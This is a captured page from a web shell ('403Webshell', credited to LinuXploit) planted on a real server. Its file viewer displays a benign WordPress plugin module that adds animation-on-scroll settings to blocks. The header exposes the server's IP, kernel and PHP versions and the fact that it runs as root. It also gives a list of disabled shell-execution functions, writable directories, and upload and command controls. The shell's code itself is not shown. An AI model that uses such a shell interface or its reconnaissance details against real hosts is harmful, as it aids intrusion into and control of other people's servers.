403Webshell
Server IP : 38.190.208.107  /  Your IP : 216.73.217.46
Web Server : nginx/1.28.1
System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User : root ( 0)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/wp.3/wp-content/plugins/better-block-editor/Modules/AnimationOnScroll/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/wp.3/wp-content/plugins/better-block-editor/Modules/AnimationOnScroll/Module.php
<?php
/**
 * Adds Animation on Scroll settings to all blocks.
 *
 * @package BetterBlockEditor
 */

namespace BetterBlockEditor\Modules\AnimationOnScroll;

use BetterBlockEditor\Base\ModuleBase;
use BetterBlockEditor\Base\ManagableModuleInterface;
use BetterBlockEditor\Core\BlockUtils;
use BetterBlockEditor\Plugin;

defined( 'ABSPATH' ) || exit;

class Module extends ModuleBase implements ManagableModuleInterface {

	const MODULE_IDENTIFIER        = 'animation-on-scroll';
	const ASSETS_BUILD_PATH        = 'editor/blocks/__all__/animation-on-scroll/';
	const PLUGIN_ASSETS_BUILD_PATH = 'editor/plugins/animation-on-scroll/';

	const SETTINGS_ORDER = 1000;

	const ATTRIBUTE_GROUP = 'wpbbeAnimationOnScroll';

	/**
	 * add animation on scroll plugin assets to editor (displays Play button in top toolbar)
	 */
	public function process_assets() {
		parent::process_assets();

		// in asset bundle mode plugin assets are already registered
		if ( Plugin::instance()->is_asset_bundle_mode() ) {
			return;
		}

		$asset_file = require WPBBE_DIST . $this::PLUGIN_ASSETS_BUILD_PATH . 'editor.asset.php';

		wp_register_script(
			$this->build_script_handle( 'editor-plugin' ),
			WPBBE_URL_DIST . $this::PLUGIN_ASSETS_BUILD_PATH . $this::EDITOR_ASSET_KEY . '.js',
			$asset_file['dependencies'],
			$asset_file['version'],
			array(
				'strategy'  => 'defer',
				'in_footer' => true,
			)
		);

		if ( file_exists( WPBBE_DIST . $this::PLUGIN_ASSETS_BUILD_PATH . $this::EDITOR_ASSET_KEY . '.css' ) ) {
			wp_register_style(
				$this->build_style_handle( 'editor-plugin' ),
				WPBBE_URL_DIST . $this::PLUGIN_ASSETS_BUILD_PATH . $this::EDITOR_ASSET_KEY . '.css',
				array(),
				$asset_file['version']
			);
		}

		add_action(
			'enqueue_block_editor_assets',
			function () {
				$this->enqueue_assets( 'editor-plugin' );
			}
		);
	}

	public function setup_hooks() {
		add_filter( 'render_block', array( $this, 'render' ), 20, 3 );
	}

	public function render( $block_content, $block ) {

		$animation_settings = $block['attrs'][ self::ATTRIBUTE_GROUP ] ?? null;

		if ( null === $animation_settings || $block_content === '' ) {
			return $block_content;
		}

		$data_attributes = array(
			'data-aos'        => $animation_settings['animation'] ?? null,
			'data-aos-easing' => $animation_settings['timingFunction'] ?? 'linear',
		);

		$tag = BlockUtils::get_tag_to_modify( $block_content );
		foreach ( $data_attributes as $key => $value ) {
			$tag->set_attribute( $key, $value );
		}
		$block_content = $tag->get_updated_html();

		$class_id = BlockUtils::get_unique_class_id( $block_content );

		BlockUtils::add_styles_from_css_rules(
			array(
				array(
					'selector'     => '.' . $class_id,
					'declarations' => array(
						'--aos-duration' => ( intval( $animation_settings['duration'] ?? 0 ) / 1000 ) . 's',
						'--aos-delay'    => ( intval( $animation_settings['delay'] ?? 0 ) / 1000 ) . 's',
					),
				),
			)
		);

		return BlockUtils::append_classes( $block_content, $class_id );
	}


	public static function get_title() {
		return __( 'Animation on Scroll', 'better-block-editor' );
	}

	public static function get_label() {
		return __( 'Add Animation on Scroll settings to all blocks.', 'better-block-editor' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit